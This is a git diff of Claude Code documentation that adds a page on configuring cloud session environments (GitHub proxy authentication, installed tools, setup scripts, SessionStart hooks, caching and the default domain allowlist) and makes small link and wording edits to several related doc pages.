+| Transport variables in your repo's `.claude/settings.json` `env` block, such as `NODE_EXTRA_CA_CERTS` and the [mTLS client certificate variables](/docs/en/network-config#mtls-authentication) | No | The hosting environment manages the session's API connection, so Claude Code ignores these keys and notes each ignored key in the session's debug log |
+| Static API tokens and credentials | No | No dedicated secrets store exists yet. See below |
+| Interactive auth like AWS SSO | No | Not supported. SSO requires browser-based login that can't run in a cloud session |
+
+To make your own configuration available in cloud sessions, commit it to the repo.
+
+A dedicated secrets store is not yet available, and the dialog warns against adding secrets or credentials: environment variables and setup scripts live in the environment configuration, where anyone who uses the environment can read them. If a session needs a credential anyway, add it with that visibility in mind.
+
+### Installed tools
+
+Cloud sessions come with common language runtimes, build tools, and databases pre-installed. The table below summarizes what's included by category.
+
+| Category | Included |
+| :------------ | :--------------------------------------------------------------------------------- |
+| **Python** | Python 3.x with pip, poetry, uv, black, mypy, pytest, ruff |
+| **Node.js** | 20, 21, and 22 via nvm, with npm, yarn, pnpm, bun¹, eslint, prettier, chromedriver |
+| **Ruby** | 3.1, 3.2, 3.3 with gem, bundler, rbenv |
+| **PHP** | 8.4 with Composer |
+| **Java** | OpenJDK 21 with Maven and Gradle |
+| **Go** | latest stable with module support |
+| **Rust** | rustc and cargo |
+| **C/C++** | GCC, Clang, cmake, ninja, conan |
+| **Docker** | docker, dockerd, docker compose |
+| **Databases** | PostgreSQL 16, Redis 7.0 |
+| **Utilities** | git, jq, yq, ripgrep, tmux, vim, nano |
+
+¹ Bun is installed but has known [proxy compatibility issues](#install-dependencies-with-a-sessionstart-hook) for package fetching.
+
+For exact versions, ask Claude to run `check-tools` in a cloud session. It's a shell command installed on the session VM, not a slash command; you ask Claude because [Claude runs all VM commands for you](#run-tests-start-services-and-add-packages).
+
+Toolchains outside this list, such as the .NET SDK, aren't pre-installed even when their package registries are on the [default allowlist](#default-allowed-domains). Install them with a [setup script](#setup-scripts).
+
+### Work with GitHub issues and pull requests
+
+Cloud sessions include built-in GitHub tools that let Claude read issues, list pull requests, fetch diffs, and post comments without any setup. These tools authenticate through the [GitHub proxy](#github-proxy) using whichever method you configured under [GitHub authentication options](/docs/en/claude-code-on-the-web#github-authentication-options), so your token never enters the container.
+
+You can set `GH_TOKEN` or `GITHUB_TOKEN` yourself in [environment settings](#set-environment-variables), or leave both unset and let the [GitHub proxy](#github-proxy) authenticate for you:
+
+* If you set a token, it passes through to the container unchanged, so your scripts, and GitHub's [`gh` CLI](https://cli.github.com) if you install it, use it directly.
+* If you set neither and the [GitHub proxy](#github-proxy) is handling authentication for your session, both variables read as the placeholder string `proxy-injected` in the commands Claude runs, and the proxy substitutes your real credentials on outbound GitHub requests. `gh` works without a token of your own, but a script that reads `GITHUB_TOKEN` directly gets the placeholder, not a usable token.
+
+A token you set is an ordinary environment variable, so anyone who uses the environment can read it; the proxy path keeps the credential out of the environment configuration and the session VM.
+
+To check which case applies to your session, ask Claude to run `echo $GH_TOKEN`.
+
+GitHub's [`gh` CLI](https://cli.github.com) isn't pre-installed. If you need a `gh` command the built-in tools don't cover, like `gh release` or `gh workflow run`, install and authenticate it yourself:
+
+
+
+ Add `apt update && apt install -y gh` to your [setup script](#setup-scripts).
+
+
+
+ If `echo $GH_TOKEN` prints `proxy-injected`, the [GitHub proxy](#github-proxy) authenticates `gh` for you and this step is unnecessary. Otherwise, add a `GH_TOKEN` environment variable to your [environment settings](#set-environment-variables) with a GitHub personal access token; like any environment variable, it's readable by anyone who uses the environment, so scope the token narrowly. `gh` reads `GH_TOKEN` automatically, so you don't need to run `gh auth login`.
+
+
+
+### Link output back to the session
+
+Each cloud session has a transcript URL on claude.ai, and the session can read its own ID from the `CLAUDE_CODE_REMOTE_SESSION_ID` environment variable. Use this to put a traceable link in PR bodies, commit messages, Slack posts, or generated reports so a reviewer can open the run that produced them.
+
+Commits that Claude creates in a cloud session include a `Claude-Session: ` git trailer, and PR bodies include the session URL on its own line. This requires v2.1.179 or later. {/* min-version: 2.1.182 */}To omit the trailer and the PR-body link, set [`attribution.sessionUrl`](/docs/en/settings#attribution-settings) to `false`. The setting requires v2.1.182 or later.
+
+To include the session link in something other than a commit or PR, such as a Slack message Claude posts or a report file it writes, have Claude run the following command and use its output. The command converts the `cse_` prefix in the environment variable's value to the `session_` prefix that the transcript URL expects:
+
+```bash theme={null}
+echo "https://claude.ai/code/${CLAUDE_CODE_REMOTE_SESSION_ID/#cse_/session_}"
+```
+
+### Run tests, start services, and add packages
+
+You don't get a shell into the session VM. Claude runs every command for you, so phrase the tasks in this section as requests in your prompt.
+
+#### Run tests
+
+Claude runs tests as part of working on a task. Ask for it in your prompt, like "fix the failing tests in `tests/`" or "run pytest after each change." Test runners that come with the [pre-installed toolchains](#installed-tools), like pytest and cargo test, work without additional setup. A runner your project declares as a dependency, like jest, installs with your dependencies.
+
+#### Start services
+
+PostgreSQL and Redis are pre-installed but not running by default. Ask Claude to start whichever you need; the commands it runs are:
+
+```bash theme={null}
+service postgresql start
+```
+
+```bash theme={null}
+service redis-server start
+```
+
+Docker is available for running containerized services. Ask Claude to run `docker compose up` to start your project's services. Network access to pull images follows your environment's [access level](#access-levels), and the [Trusted defaults](#default-allowed-domains) include Docker Hub and other common registries.
+
+If your images are large or slow to pull, add `docker compose pull` or `docker compose build` to your [setup script](#setup-scripts). The [environment cache](#environment-caching) keeps the pulled images, so each new session has them on disk. The cache stores files only, not running processes, so Claude still starts the containers each session.
+
+#### Add packages
+
+To add packages that aren't pre-installed, use a [setup script](#setup-scripts). The [environment cache](#environment-caching) keeps what the script installs, so packages you install there are available at the start of every session without reinstalling each time. You can also ask Claude to install packages mid-session, but those installs don't carry over to other sessions.
+
+### Resource limits
+
+Cloud sessions run with approximate resource ceilings that may change over time:
+
+* 4 vCPUs
+* 16 GB of RAM
+* 30 GB of disk
+
+The VM may stop tasks that need significantly more memory, such as large build jobs or memory-intensive tests. For workloads beyond these limits, use [Remote Control](/docs/en/remote-control) to run Claude Code on your own hardware.
+
+## Setup scripts
+
+A setup script is a Bash script that runs when a new cloud session starts, before Claude Code launches. Use setup scripts to install dependencies, configure tools, or fetch anything the session needs that isn't pre-installed.
+
+Scripts run as root on Ubuntu 24.04, so `apt install` and most language package managers work.
+
+To add a setup script, open the environment settings dialog and enter your script in the **Setup script** field.
+
+This example installs GitHub's [`gh` CLI](https://cli.github.com), which isn't pre-installed.
+
+```bash theme={null}
+#!/bin/bash
+apt update && apt install -y gh
+```
+
+### Script requirements
+
+A setup script has three constraints to write around:
+
+* **Exit zero**: if the script exits non-zero, the session fails to start. Append `|| true` to non-critical commands so an intermittent install failure doesn't block the session.
+* **Finish within five minutes**: keep the script's total runtime under roughly five minutes so the [environment cache](#environment-caching) can build. Run independent installs in parallel with `&` and `wait`, and move any single download that won't fit into a [SessionStart hook](#setup-scripts-vs-sessionstart-hooks) that launches it in the background.
+* **Network access for installs**: package installs need to reach registries. The default **Trusted** level covers [common package registries](#default-allowed-domains) including npm, PyPI, RubyGems, and crates.io; with **None** network access, installs fail.
+
+### Environment caching
+
+The setup script runs the first time you start a session in an environment. After it completes, Anthropic snapshots the filesystem and reuses that snapshot as the starting point for later sessions. New sessions start with your dependencies, tools, and Docker images already on disk, and skip the setup script step. This keeps startup fast even when the script installs large toolchains or pulls container images.
+
+The cache is a filesystem snapshot, so it keeps what the setup script writes to disk and loses anything that was only running. Packages you install, Docker images you pull, and files you write all carry over. A database the script started, a `docker compose up` stack, or any other background process doesn't; start those per session by asking Claude or with a [SessionStart hook](#setup-scripts-vs-sessionstart-hooks).
+
+The setup script runs again to rebuild the cache when you change the environment's setup script or allowed network hosts, and when the cache reaches its expiry after roughly seven days. Resuming an existing session never re-runs the setup script.
+
+You don't need to enable caching or manage snapshots yourself.
+
+### Setup scripts vs. SessionStart hooks
+
+Use a setup script to provision the VM itself: toolchains and CLI tools that aren't [pre-installed](#installed-tools). Use a [SessionStart hook](/docs/en/hooks#sessionstart) for project setup that should run everywhere, cloud and local, like `npm install`.
+
+Setup scripts and SessionStart hooks run in a fixed order when a cloud session starts:
+
+1. The setup script runs first, before Claude Code launches, and only when no [cached environment](#environment-caching) exists.
+2. Claude Code launches and runs your SessionStart hooks, as it does at the start of every session, local or cloud.
+
+| | Setup scripts | SessionStart hooks |
+| ---------------------------- | --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Where you configure them** | The environment dialog at [claude.ai/code](https://claude.ai/code) | A [settings file](/docs/en/settings#settings-files) such as your repo's `.claude/settings.json`; see [What carries over from your setup](#what-carries-over-from-your-setup) for which files reach a cloud session |
+| **When they run** | Before Claude Code launches, skipped when a [cached environment](#environment-caching) exists | After Claude Code launches, on every session including resumed |
+| **Where they run** | Cloud sessions only | Local and cloud sessions |
+
+If you have SessionStart hooks in your user-level `~/.claude/settings.json`, don't expect them in the cloud: user-level settings stay on your machine. In a cloud session, Claude Code runs hooks from the repository and from your organization's [server-managed settings](/docs/en/server-managed-settings).
+
+### Install dependencies with a SessionStart hook
+
+To install dependencies only in cloud sessions, pair a SessionStart hook with a script that checks where it's running.
+
+First, add a SessionStart hook to your repo's `.claude/settings.json`. This configuration tells Claude Code to run `scripts/install_pkgs.sh` from your repository whenever a session starts or resumes:
+
+```json theme={null}
+{
+ "hooks": {
+ "SessionStart": [
+ {
+ "matcher": "startup|resume",
+ "hooks": [
+ {
+ "type": "command",
+ "command": "bash \"$CLAUDE_PROJECT_DIR\"/scripts/install_pkgs.sh"
+ }
+ ]
+ }
+ ]
+ }
+}
+```
+
+The `matcher` limits the hook to the `startup` and `resume` events, and `$CLAUDE_PROJECT_DIR` resolves to the repository root, so the hook finds the script regardless of the session's working directory.
+
+Next, create the script at `scripts/install_pkgs.sh`. It exits immediately outside the cloud, then installs your dependencies:
+
+```bash theme={null}
+#!/bin/bash
+
+if [ "$CLAUDE_CODE_REMOTE" != "true" ]; then
+ exit 0
+fi
+
+npm install
+pip install -r requirements.txt
+exit 0
+```
+
+The `CLAUDE_CODE_REMOTE` check is what scopes the install to cloud sessions: the session VM's environment carries that variable as `true`, it's never `true` locally, so on your laptop the script exits before installing anything.
+
+Together, the two files give every cloud session a fresh `npm install` and `pip install` at startup while leaving local sessions untouched.
+
+#### Limitations in cloud sessions
+
+SessionStart hooks behave the same in the cloud as locally, with these caveats:
+
+* **No cloud-only scoping**: hooks run in both local and cloud sessions. To skip local execution, check the `CLAUDE_CODE_REMOTE` environment variable as shown above.
+* **Requires network access**: install commands need to reach package registries. If your environment uses **None** network access, these hooks fail. The [default allowlist](#default-allowed-domains) under **Trusted** covers npm, PyPI, RubyGems, and crates.io.
+* **Proxy compatibility**: all outbound traffic passes through a [security proxy](#security-proxy). Some package managers don't work correctly with this proxy. Bun is a known example.
+* **Adds startup latency**: hooks run each time a session starts or resumes, unlike setup scripts which benefit from [environment caching](#environment-caching). Keep install scripts fast by checking whether dependencies are already present before reinstalling.
+
+To persist environment variables for subsequent Bash commands, write to the file at `$CLAUDE_ENV_FILE`. See [SessionStart hooks](/docs/en/hooks#sessionstart) for details.
+
+To customize the base image, use a setup script to install what you need on top of the [provided image](#installed-tools), or run your own image as a container alongside Claude with `docker compose`. Replacing the base image entirely isn't supported yet.
+
+## Default allowed domains
+
+With **Trusted** network access, sessions can reach the following domains by default. Domains marked with `*` indicate wildcard subdomain matching, so `*.gcr.io` allows any subdomain of `gcr.io`.
+
+
+
+ * api.anthropic.com
+ * statsig.anthropic.com
+ * docs.claude.com
+ * platform.claude.com
+ * code.claude.com
+ * claude.ai
+
+
+
+ * github.com
+ * [www.github.com](http://www.github.com)
+ * api.github.com
+ * npm.pkg.github.com
+ * raw\.githubusercontent.com
+ * pkg-npm.githubusercontent.com
+ * objects.githubusercontent.com
+ * release-assets.githubusercontent.com
+ * codeload.github.com
+ * avatars.githubusercontent.com
+ * camo.githubusercontent.com
+ * gist.github.com
+ * gitlab.com
+ * [www.gitlab.com](http://www.gitlab.com)
+ * registry.gitlab.com
+ * bitbucket.org
+ * [www.bitbucket.org](http://www.bitbucket.org)
+ * api.bitbucket.org
+
+
+
+ * registry-1.docker.io
+ * auth.docker.io
+ * index.docker.io
+ * hub.docker.com
+ * [www.docker.com](http://www.docker.com)
+ * production.cloudflare.docker.com
+ * download.docker.com
+ * gcr.io
+ * \*.gcr.io
+ * ghcr.io
+ * mcr.microsoft.com
+ * \*.data.mcr.microsoft.com
+ * public.ecr.aws
+
+
+
+ * cloud.google.com
+ * accounts.google.com
+ * gcloud.google.com
+ * \*.googleapis.com
+ * storage.googleapis.com
+ * compute.googleapis.com
+ * container.googleapis.com
+ * azure.com
+ * portal.azure.com
+ * microsoft.com
+ * [www.microsoft.com](http://www.microsoft.com)
+ * \*.microsoftonline.com
+ * packages.microsoft.com
+ * dotnet.microsoft.com
+ * dot.net
+ * visualstudio.com
+ * dev.azure.com
+ * \*.amazonaws.com
+ * \*.api.aws
+ * oracle.com
+ * [www.oracle.com](http://www.oracle.com)
+ * java.com
+ * [www.java.com](http://www.java.com)
+ * java.net
+ * [www.java.net](http://www.java.net)
+ * download.oracle.com
+ * yum.oracle.com
+
+
+
+ * registry.npmjs.org
+ * [www.npmjs.com](http://www.npmjs.com)
+ * [www.npmjs.org](http://www.npmjs.org)
+ * npmjs.com
+ * npmjs.org
+ * yarnpkg.com
+ * registry.yarnpkg.com
+
+
+
+ * pypi.org
+ * [www.pypi.org](http://www.pypi.org)
+ * files.pythonhosted.org
+ * pythonhosted.org
+ * test.pypi.org
+ * pypi.python.org
+ * pypa.io
+ * [www.pypa.io](http://www.pypa.io)
+
+
+
+ * rubygems.org
+ * [www.rubygems.org](http://www.rubygems.org)
+ * api.rubygems.org
+ * index.rubygems.org
+ * ruby-lang.org
+ * [www.ruby-lang.org](http://www.ruby-lang.org)
+ * rubyforge.org
+ * [www.rubyforge.org](http://www.rubyforge.org)
+ * rubyonrails.org
+ * [www.rubyonrails.org](http://www.rubyonrails.org)
+ * rvm.io
+ * get.rvm.io
+
+
+
+ * crates.io
+ * [www.crates.io](http://www.crates.io)
+ * index.crates.io
+ * static.crates.io
+ * rustup.rs
+ * static.rust-lang.org
+ * [www.rust-lang.org](http://www.rust-lang.org)
+
+
+
+ * proxy.golang.org
+ * sum.golang.org
+ * index.golang.org
+ * golang.org
+ * [www.golang.org](http://www.golang.org)
+ * goproxy.io
+ * pkg.go.dev
+
+
+
+ * maven.org
+ * repo.maven.org
+ * central.maven.org
+ * repo1.maven.org
+ * repo.maven.apache.org
+ * jcenter.bintray.com
+ * gradle.org
+ * [www.gradle.org](http://www.gradle.org)
+ * services.gradle.org
+ * plugins.gradle.org
+ * kotlinlang.org
+ * [www.kotlinlang.org](http://www.kotlinlang.org)
+ * spring.io
+ * repo.spring.io
+
+
+
+ * packagist.org (PHP Composer)
+ * [www.packagist.org](http://www.packagist.org)
+ * repo.packagist.org
+ * nuget.org (.NET NuGet)
+ * [www.nuget.org](http://www.nuget.org)
+ * api.nuget.org
+ * pub.dev (Dart/Flutter)
+ * api.pub.dev
+ * hex.pm (Elixir/Erlang)
+ * [www.hex.pm](http://www.hex.pm)
+ * cpan.org (Perl CPAN)
+ * [www.cpan.org](http://www.cpan.org)
+ * metacpan.org
+ * [www.metacpan.org](http://www.metacpan.org)
+ * api.metacpan.org
+ * cocoapods.org (iOS/macOS)
+ * [www.cocoapods.org](http://www.cocoapods.org)
+ * cdn.cocoapods.org
+ * haskell.org
+ * [www.haskell.org](http://www.haskell.org)
+ * hackage.haskell.org
+ * swift.org
+ * [www.swift.org](http://www.swift.org)
+
+
+
+ * archive.ubuntu.com
+ * security.ubuntu.com
+ * ubuntu.com
+ * [www.ubuntu.com](http://www.ubuntu.com)
+ * \*.ubuntu.com
+ * ppa.launchpad.net
+ * launchpad.net
+ * [www.launchpad.net](http://www.launchpad.net)
+ * \*.nixos.org
+
+
+
+ * dl.k8s.io (Kubernetes)
+ * pkgs.k8s.io
+ * k8s.io
+ * [www.k8s.io](http://www.k8s.io)
+ * releases.hashicorp.com (HashiCorp)
+ * apt.releases.hashicorp.com
+ * rpm.releases.hashicorp.com
+ * archive.releases.hashicorp.com
+ * hashicorp.com
+ * [www.hashicorp.com](http://www.hashicorp.com)
+ * repo.anaconda.com (Anaconda/Conda)
+ * conda.anaconda.org
+ * anaconda.org
+ * [www.anaconda.com](http://www.anaconda.com)
+ * anaconda.com
+ * continuum.io
+ * apache.org (Apache)
+ * [www.apache.org](http://www.apache.org)
+ * archive.apache.org
+ * downloads.apache.org
+ * eclipse.org (Eclipse)
+ * [www.eclipse.org](http://www.eclipse.org)
+ * download.eclipse.org
+ * nodejs.org (Node.js)
+ * [www.nodejs.org](http://www.nodejs.org)
+ * developer.apple.com
+ * developer.android.com
+ * pkg.stainless.com
+ * binaries.prisma.sh
+
+
+
+ * statsig.com
+ * [www.statsig.com](http://www.statsig.com)
+ * api.statsig.com
+ * sentry.io
+ * \*.sentry.io
+ * downloads.sentry-cdn.com
+ * http-intake.logs.datadoghq.com
+ * browser-intake-us5-datadoghq.com
+ * \*.datadoghq.com
+ * \*.datadoghq.eu
+ * api.honeycomb.io
+
+
+
+ * sourceforge.net
+ * \*.sourceforge.net
+ * packagecloud.io
+ * \*.packagecloud.io
+ * fonts.googleapis.com
+ * fonts.gstatic.com
+
+
+
+ * json-schema.org
+ * [www.json-schema.org](http://www.json-schema.org)
+ * json.schemastore.org
+ * [www.schemastore.org](http://www.schemastore.org)
+
+
+
+ * \*.modelcontextprotocol.io
+
+
+
+## Related resources
+
+* [Claude Code on the web](/docs/en/claude-code-on-the-web): start, manage, and share cloud sessions
+* [Web quickstart](/docs/en/web-quickstart): connect GitHub and start your first cloud session
+* [Claude Tag](https://claude.com/docs/claude-tag/overview): sessions Claude starts from Slack run in the same environments
+* [Routines](/docs/en/routines): scheduled runs use the same environments and network access levels
+* [Remote Control](/docs/en/remote-control): run sessions on your own machine's network and files instead
+* [SessionStart hooks](/docs/en/hooks#sessionstart): repo-committed setup that runs in local and cloud sessions
+* [Server-managed settings](/docs/en/server-managed-settings): organization policy that reaches cloud sessions
diff --git a/content/en/docs/claude-code/commands.md b/content/en/docs/claude-code/commands.md
index 20314575d..50b581763 100644
--- a/content/en/docs/claude-code/commands.md
+++ b/content/en/docs/claude-code/commands.md
@@ -114,7 +114,7 @@ In the table below, `` indicates a required argument and `[arg]` indicates
| `/reload-plugins [--force]` | Reload all active [plugins](/docs/en/plugins) to apply pending changes without restarting. Reports counts for each reloaded component and flags any load errors. When the reload would change which MCP tools are loaded and invalidate the prompt cache, the command warns and skips unless you pass `--force` |
| `/reload-skills` | {/* min-version: 2.1.152 */}Re-scan [skill](/docs/en/skills) and command directories so skills added or changed on disk during the session become available without restarting. Reports how many skills are available and how many were added or removed. Added in v2.1.152 |
| `/remote-control` | Make this session available for [Remote Control](/docs/en/remote-control) from claude.ai. {/* min-version: 2.1.206 */}Running it while signed out prints that Remote Control requires a claude.ai subscription and tells you how to sign in; before v2.1.206 it reported `Unknown command: /remote-control`. Alias: `/rc` |
-| `/remote-env` | Choose the default environment for [cloud agents](/docs/en/claude-code-on-the-web#configure-your-environment) |
+| `/remote-env` | Choose the default environment for [cloud agents](/docs/en/cloud-environments#select-an-environment-from-the-cli) |
| `/rename [name]` | Rename the current session and show the name on the prompt bar. Without a name, auto-generates one from conversation history. {/* min-version: 2.1.205 */}Also available in non-interactive mode (`-p`); requires Claude Code v2.1.205 or later |
| `/resume [session]` | Resume a conversation by ID or name, or open the session picker. As of v2.1.144, [background sessions](/docs/en/agent-view) appear in the picker marked with `bg`; one that is still running can't be resumed here, so attach to it from `claude agents` or stop it there first. Alias: `/continue` |
| `/review [PR]` | {/* min-version: 2.1.202 */}Run a fast single-pass, read-only review of a GitHub pull request by number. With no argument, lists open PRs to pick from; text after the PR number becomes additional review instructions. From v2.1.186 through v2.1.201, `/review` instead ran the same multi-agent engine as `/code-review medium`. For a multi-agent review at a chosen effort level, use [`/code-review `](/docs/en/code-review#review-a-diff-locally); for a cloud-based review, see [`/code-review ultra`](/docs/en/ultrareview) |
diff --git a/content/en/docs/claude-code/data-usage.md b/content/en/docs/claude-code/data-usage.md
index 52f4fd3b7..8e446e505 100644
--- a/content/en/docs/claude-code/data-usage.md
+++ b/content/en/docs/claude-code/data-usage.md
@@ -84,7 +84,7 @@ Claude Code is built on Anthropic's APIs. For details on API security controls,
### Cloud execution: Data flow and dependencies
-When using [Claude Code on the web](/docs/en/claude-code-on-the-web), sessions run in Anthropic-managed virtual machines instead of locally. In cloud environments:
+When using [Claude Code on the web](/docs/en/claude-code-on-the-web), sessions run in Anthropic-managed virtual machines instead of locally. In cloud sessions:
* **Code and data storage:** Your repository is cloned to an isolated VM. Code and session data are subject to the retention and usage policies for your account type (see Data retention section above)
* **Credentials:** GitHub authentication is handled through a secure proxy; your GitHub credentials never enter the sandbox
diff --git a/content/en/docs/claude-code/desktop.md b/content/en/docs/claude-code/desktop.md
index dc34a41ba..d2eb4e1a1 100644
--- a/content/en/docs/claude-code/desktop.md
+++ b/content/en/docs/claude-code/desktop.md
@@ -95,7 +95,7 @@ In Enterprise deployments that route Desktop to Google Cloud's Agent Platform, a
Start complex tasks in Plan so Claude maps out an approach before making changes. Once you approve the plan, switch to Accept edits or Manual to execute it. See [explore first, then plan, then code](/docs/en/best-practices#explore-first-then-plan-then-code) for more on this workflow.
-Cloud sessions support Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: cloud sessions pre-approve file edits, so the selector shows Accept edits instead of Manual. Bypass permissions is not available because the cloud environment is already sandboxed.
+Cloud sessions support Accept edits, Plan, and Auto. Accept edits corresponds to `default` mode: cloud sessions pre-approve file edits, so the selector shows Accept edits instead of Manual. Bypass permissions is not available because cloud sessions already run in a sandboxed VM.
Enterprise admins can restrict which permission modes are available. See [enterprise configuration](#enterprise-configuration) for details.
@@ -404,7 +404,7 @@ Personal skills in `~/.claude/skills/` apply to local sessions; an [SSH](#ssh-se
For local and [SSH](#ssh-sessions) sessions, click the **+** button next to the prompt box and select **Plugins** to see your installed plugins and their skills. To add a plugin, select **Add plugin** from the submenu to open the plugin browser, which shows available plugins from your configured [marketplaces](/docs/en/plugin-marketplaces) including the official Anthropic marketplace. Select **Manage plugins** to enable, disable, or uninstall plugins.
-Plugins can be scoped to your user account, a specific project, or local-only. If your organization manages plugins centrally, those plugins are available in desktop sessions the same way they are in the CLI. The plugin browser is not available in cloud sessions, and plugins you install from the desktop app aren't available for cloud sessions; to use a plugin in a cloud session, declare it in the repository's `.claude/settings.json` under [`enabledPlugins`](/docs/en/settings#enabledplugins) so it [installs at session start](/docs/en/claude-code-on-the-web#what’s-available-in-cloud-sessions). Plugins aren't available in WSL sessions. For the full plugin reference including creating your own plugins, see [plugins](/docs/en/plugins).
+Plugins can be scoped to your user account, a specific project, or local-only. If your organization manages plugins centrally, those plugins are available in desktop sessions the same way they are in the CLI. The plugin browser is not available in cloud sessions, and plugins you install from the desktop app aren't available for cloud sessions; to use a plugin in a cloud session, declare it in the repository's `.claude/settings.json` under [`enabledPlugins`](/docs/en/settings#enabledplugins) so it [installs at session start](/docs/en/cloud-environments#what-carries-over-from-your-setup). Plugins aren't available in WSL sessions. For the full plugin reference including creating your own plugins, see [plugins](/docs/en/plugins).
### Configure preview servers
@@ -612,7 +612,7 @@ To set environment variables for local sessions and dev servers on any platform,
Cloud sessions continue in the background even if you close the app. Usage counts toward your [subscription plan limits](/docs/en/costs) with no separate compute charges.
-You can create custom cloud environments with different network access levels and environment variables. Select the environment dropdown when starting a cloud session and choose **Add environment**. See [the cloud environment](/docs/en/claude-code-on-the-web#the-cloud-environment) for details on configuring network access and environment variables.
+You can create custom cloud environments with different network access levels and environment variables. Select the environment dropdown when starting a cloud session and choose **Add cloud environment**. See [Configure cloud environments](/docs/en/cloud-environments) for details on configuring network access and environment variables.
### SSH sessions
diff --git a/content/en/docs/claude-code/discover-plugins.md b/content/en/docs/claude-code/discover-plugins.md
index 62f9e3092..bd9fd532a 100644
--- a/content/en/docs/claude-code/discover-plugins.md
+++ b/content/en/docs/claude-code/discover-plugins.md
@@ -28,7 +28,9 @@ Think of it like adding an app store: adding the store gives you access to brows
## Official Anthropic marketplace
-The official Anthropic marketplace (`claude-plugins-official`) is automatically available when you start Claude Code. Run `/plugin` and go to the **Discover** tab to browse what's available, or view the catalog at [claude.com/plugins](https://claude.com/plugins).
+Claude Code adds the official Anthropic marketplace (`claude-plugins-official`) automatically when you start it. If Claude Code can't add it, for example because your network blocks the download, add it yourself with `/plugin marketplace add anthropics/claude-plugins-official`.
+
+To browse what's available, run `/plugin` and go to the **Discover** tab, or view the catalog at [claude.com/plugins](https://claude.com/plugins).
To install a plugin from the official marketplace, use `/plugin install @claude-plugins-official`. For example, to install the GitHub integration:
@@ -76,9 +78,11 @@ You can also [create your own LSP plugin](/docs/en/plugins-reference#lsp-servers
Once a code intelligence plugin is installed and its language server binary is available, Claude gains two capabilities:
-* **Automatic diagnostics**: after every file edit Claude makes, the language server analyzes the changes and reports errors and warnings back automatically. Claude sees type errors, missing imports, and syntax issues without needing to run a compiler or linter. If Claude introduces an error, it notices and fixes the issue in the same turn. This requires no configuration beyond installing the plugin. You can see diagnostics inline by pressing **Ctrl+O** when the "diagnostics found" indicator appears.
+* **Automatic diagnostics**: after every file edit Claude makes, the language server reports errors and warnings back, so Claude sees type errors, missing imports, and syntax issues without running a compiler or linter. If Claude introduces an error, it notices and fixes it in the same turn.
* **Code navigation**: Claude can use the language server to jump to definitions, find references, get type info on hover, list symbols, find implementations, and trace call hierarchies. These operations give Claude more precise navigation than grep-based search, though availability may vary by language and environment.
+You don't need to configure diagnostics beyond installing the plugin. To read them yourself, press **Ctrl+O** when Claude Code shows an indicator such as **Found 3 new diagnostic issues in 2 files**.
+
If you run into issues, see [Code intelligence troubleshooting](#code-intelligence-issues).
### External integrations
@@ -161,6 +165,8 @@ Anthropic also maintains a [demo plugins marketplace](https://github.com/anthrop
* {/* min-version: 2.1.144 */}The plugin's **Last updated** date (v2.1.144 and later)
* {/* min-version: 2.1.145 */}A **Will install** section listing the plugin's commands, agents, skills, hooks, and MCP and LSP servers, so you can review exactly what it adds before installing (v2.1.145 and later)
+ Not every plugin provides the data behind these fields. For plugins from local or custom marketplaces, you may not see the **Context cost** and **Last updated** rows, and the **Will install** section may show **Components will be discovered at installation** instead.
+
Choose an installation scope:
* **User scope**: install for yourself across all projects
@@ -270,7 +276,7 @@ Add a remote `marketplace.json` file via URL:
## Install plugins
-Once you've added marketplaces, you can install plugins directly:
+Once you've added marketplaces, you can install a plugin by name:
```shell theme={null}
/plugin install plugin-name@marketplace-name
@@ -321,7 +327,10 @@ The first session on a version that counts language server activity also resets
When you install a plugin that declares dependencies, the install output lists which dependencies were auto-installed alongside it.
-You can also manage plugins with direct commands.
+You can also manage plugins with direct commands:
+
+* When you run `/plugin disable`, `/plugin enable`, or `/plugin uninstall`, Claude Code opens the plugin panel to apply the change and leaves it open. Press **Esc** to close the panel before typing another command.
+* For scripting, use the `claude plugin` shell commands instead, which don't open the panel.
List installed plugins without opening the menu:
@@ -368,7 +377,7 @@ When you install, enable, or disable plugins during a session, run `/reload-plug
/reload-plugins
```
-Claude Code reloads all active plugins and shows counts for plugins, skills, agents, hooks, plugin MCP servers, and plugin LSP servers.
+Claude Code reloads all active plugins and shows counts for plugins, skills, agents, hooks, plugin MCP servers, and plugin LSP servers. The skills count covers only each plugin's `commands/` directory, not its `skills/` directory, so the summary can report `0 skills` even when the plugin's skills reloaded.
Reloading has a token cost on the next request: newly loaded components announce themselves in content appended to the conversation, while the existing history still reads from the prompt cache. A plugin that provides MCP servers costs more when its tools aren't deferred by [tool search](/docs/en/mcp#scale-with-mcp-tool-search): the change invalidates the cache and the next request re-reads the entire conversation. {/* min-version: 2.1.163 */}In that case `/reload-plugins` shows a warning and does not apply the reload; pass `--force` to apply anyway. See [enabling or disabling a plugin](/docs/en/prompt-caching#enabling-or-disabling-a-plugin) for details.
diff --git a/content/en/docs/claude-code/env-vars.md b/content/en/docs/claude-code/env-vars.md
index 4ef356259..451fd5305 100644
--- a/content/en/docs/claude-code/env-vars.md
+++ b/content/en/docs/claude-code/env-vars.md
@@ -217,7 +217,7 @@ Numeric variables such as timeouts, token budgets, and retry counts accept scien
| `CLAUDE_CODE_DISABLE_LEGACY_MODEL_REMAP` | Set to `1` to prevent automatic remapping of Opus 4.0 and 4.1 to the current Opus version on the Anthropic API. Use when you intentionally want to pin an older model. The remap does not run on Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry |
| `CLAUDE_CODE_DISABLE_MOUSE` | Set to `1` to disable mouse tracking in [fullscreen rendering](/docs/en/fullscreen). Keyboard scrolling with `PgUp` and `PgDn` still works. Use this to keep your terminal's native copy-on-select behavior |
| `CLAUDE_CODE_DISABLE_MOUSE_CLICKS` | {/* min-version: 2.1.195 */}Set to `1` to disable click, drag, and hover handling in [fullscreen rendering](/docs/en/fullscreen) while keeping mouse-wheel scrolling. Use this when you want wheel scroll to work inside Claude Code but don't want clicks to position the cursor, expand tool output, or open links. `CLAUDE_CODE_DISABLE_MOUSE` takes precedence when both are set. Requires Claude Code v2.1.195 or later |
